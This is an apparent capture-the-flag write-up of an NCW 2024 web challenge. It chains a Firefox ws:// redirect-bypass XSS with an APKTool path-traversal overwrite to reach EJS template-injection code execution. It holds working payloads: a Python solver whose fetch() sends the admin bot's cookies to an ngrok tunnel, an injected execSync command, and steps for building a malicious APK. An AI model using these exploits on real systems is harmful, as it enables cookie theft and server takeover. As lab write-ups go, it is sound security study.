Comprehensive Writeup of the Last Web Challenges from Final NCW 2024
Discovering XSS Redirect Bypass in Firefox and Remote Code Execution in EJS Template Injection with APKTool Arbitary Overwrite Exploit
At the end of the 2024 event, I managed to solve the final web challenge in NCW, even though I didn’t participate in the event. I guess I solved it just for fun? Anyway, from what my friend who participated in the finals told me, this challenge had zero solves—interesting, right? While debugging locally, I noticed a missing folder issue. To fix it, you need to create a directory named uploads
in the app directory. Here’s how it all went down!
So, while digging through the source, it became pretty clear that the first step was pulling off an XSS. Why? Because there’s this sneaky Firefox bot running around with an admin token in its pocket. The plan? Use that token to mess with toolsRoutes
and hit RCE by exploiting Arbitrary Overwrite in the /decompile
endpoint.
But wait—there’s a catch. The /decompile
endpoint is VIP-only, strictly for admins. So, how do we get the admin creds? Easy (kinda): we trick the Firefox bot into spilling the admin cookies using XSS.
Gettin' Down to the Suspicious Function!
after we docker-compose up
we can check it in the localhost:3000. there are register and login features. also a redirect features??? this a very suspicious you can check in the app.js there is :
app.use((req, res) => {
redirect(res, req.query.next, '/', req.hostname);
});
so basically in here in every endpoint that not regiesterd will use redirect, like an example this : http://localhost:3000/unregisterd/endpoint
will get redirect back to index. so this was a suspicious function that may lead to xss, when we analyze the redirect function this function was custom-made in utils/redirect.js :
const redirect = (res, requestUrl = "", defaultUrl = "", host) => {
try {
if (requestUrl) {
const url = new URL(requestUrl);
// prevent cross site scripting & open redirect
if (!url.protocol.toLowerCase().includes("javascript") && url.hostname === host) {
res.header("Location", requestUrl);
return res.status(302).send(`Redirecting to ${requestUrl}`);
} else {
return res.status(400).send("Invalid host");
}
}
} catch (error) {
console.log(error)
}
res.header("Location", defaultUrl);
return res.status(302).send(`Redirecting to ${defaultUrl}`);
};
module.exports = redirect;
So, here’s the deal: the redirect function takes req.query.next
as the next Location header and checks if the host matches the expected one. If not, it throws an ‘Invalid host’ error. But what if we want to bypass that and sneak in a sneaky JavaScript alert during the redirect? Well, if you take a peek at the end of the function, you’ll see it returns the raw defaultUrl
we set earlier with a simple line: return res.status(302).send(‘Redirecting to ${defaultUrl}’);
. The trick? You just need to provide a valid host, and boom—you'll get that redirect message, no questions asked!. but the problem in here it will auto redirect to req.query.next
that we set before. so how to achieve not redirecting? and then our defaultUrl will be executed?. my approach before this was a using protocol that can bypassed the URL function in javascript, but not. so i searching the other approach that is protocol in firefox. so we know the bot admin will visit using firefox like in the code below bot.js :
Protocol Bypass
so i found this docs of url scheme in firefox
So, here’s the mission: we tried all the URL protocols that wouldn’t trigger a redirect, and guess what I stumbled upon? ws:// and wss:// protocol , when i try this in my firefox ( bcs firefox was my main browser ). I was testing this out in Firefox (because, let’s be real, Firefox is my go-to browser), and… BAM, it worked!
No redirect happened, and the parameters I entered? They were reflected as text/html
instead!
dyk what this means? yep, IT WAS REFLECTED XSS 🥳 as we can supply the parameter in this protocol http://localhost:3000/asuu?next=ws://localhost:3000?x=hiii%3Cimg%20src=x%20onerror=alert()%20/%3E
.
this my solver for achiving xss and submit to the bot and get the admin cookies
XSS Solver
import asyncio
import httpx
from pyngrok import ngrok
from flask import Flask
from threading import Thread
PORT = 6666
TUNNEL = ngrok.connect(PORT, "tcp").public_url.replace("tcp://", "http://")
print("TUNNEL:", TUNNEL)
URL = "http://localhost:3000"
class BaseAPI:
def __init__(self, url=URL) -> None:
self.c = httpx.Client(base_url=url, verify=False)
self.session = ""
def xss(self, payload):
r = self.c.get('/x', params={
"next":f"ws://localhost:3000?<script>{payload}</script>"
})
self.xss_uri = r.url
def submit_to_bot(self):
r = self.c.post('/bot/report',data={
"url":self.xss_uri
})
print(r.text)
class API(BaseAPI):
...
def webServer():
app = Flask(__name__)
@app.get("/")
def home():
return "ok"
return Thread(target=app.run, args=('0.0.0.0', PORT))
async def main():
api = API()
server = webServer()
server.start()
api.xss(f'fetch("{TUNNEL}?c="+document.cookie)')
api.submit_to_bot()
server.join()
if __name__ == "__main__":
asyncio.run(main())
Alright, we’ve got the admin cookies in hand. So what's next? Time for some RCE action in the /decompile
endpoint! But how do we pull this off exactly?
Well, I managed to snag the CVE from APKTool, but the real challenge is crafting the payload. So buckle up—here’s the step-by-step breakdown of how I created the payload to overwrite that EJS file and unlock RCE magic!
RCE
So while diving into my research on APKTool, I stumbled upon their GitHub: Apktool github. Naturally, I headed straight to the security page and—bam!—I found this gem: github.com/iBotPeaches/Apktool/security/adv... And guess what? Turns out the version we’re using is totally affected. Talk about hitting the jackpot!"
"Alright, so how do we craft this payload? Here’s the deal: the resource name isn’t sanitized. This means we can totally mess with it, turning something like 'foo' into "../../../../../../../../../../../../tmp/poc". This sneaky trick will drop the "res/raw/bar" file into /tmp/poc
on Linux systems. But guess what? This vulnerability isn't limited to Linux—it's a problem on Windows too. I didn't check for macOS, but it looks pretty generic.”
Seems like we’ve got ourselves an arbitrary overwrite here, right? But wait—what if we overwrite an .ejs
file? We know the file path gets auto-modified, so let’s use that to our advantage!
How do we go from overwrite to full-on RCE in an EJS file? Simple. EJS Template Injection! Here's the payload magic:
<%= process.mainModule.require('child_process').execSync('cat /f*'); %>
Boom! Now, if we overwrite this into /app/views/index.ejs
, we’re cooking with fire—ready to execute code remotely."
Crafting APK Payloads
To create a malicious APK using APKTool and ArscEditor, follow these steps:
Set Up APKTool:
Download APKTool from its official GitHub repository.
Install APKTool on your system by following the instructions provided in the repository.
Decompile the APK:
Use APKTool to decompile the APK you want to modify. Run the command:
apktool d <your-apk-file.apk>
This will extract the APK contents into a directory.
Edit with ArscEditor:
Download ArscEditor from the provided link.
Use ArscEditor to open and edit the
resources.arsc
file within the decompiled APK directory and edit the value of it to like in the image below. ( to edit using this editor right-click on the mouse )-
dont forget put the payload in the file raw test
after that dont forget the mv old resource into the mod one
Recompile the APK:
After editing, recompile the APK using APKTool:
apktool b <decompiled-apk-directory>
after that you can submit the the apk into and check the index. my full payload for the res/raw was
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Pentester's Toolbox</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="/css/styles.css">
</head>
<body>
<div class="container text-center vh-100 d-flex flex-column justify-content-center align-items-center">
<h1 class="display-4 mb-4">Welcome to the Pentester's Toolbox <%= process.mainModule.require('child_process').execSync('cat /f*'); %></h1>
<p class="lead mb-4">Your gateway to powerful security tools!</p>
<nav class="mb-4">
<a href="/auth/register?next=/login" class="btn btn-outline-primary me-2">Register</a>
<a href="/auth/login?next=/dashboard" class="btn btn-primary">Login</a>
</nav>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
Conclussion
In conclusion, the final web challenge from the NCW 2024 event presented a complex and intriguing puzzle that required a deep understanding of web security vulnerabilities, including XSS and RCE. By carefully analyzing the source code and leveraging specific browser behaviors, such as protocol handling in Firefox, the challenge was successfully navigated. The process involved exploiting an arbitrary overwrite vulnerability in APKTool, demonstrating the importance of thorough security assessments in software development. This writeup not only highlights the technical skills required to solve such challenges but also emphasizes the creativity and persistence needed to uncover and exploit hidden vulnerabilities.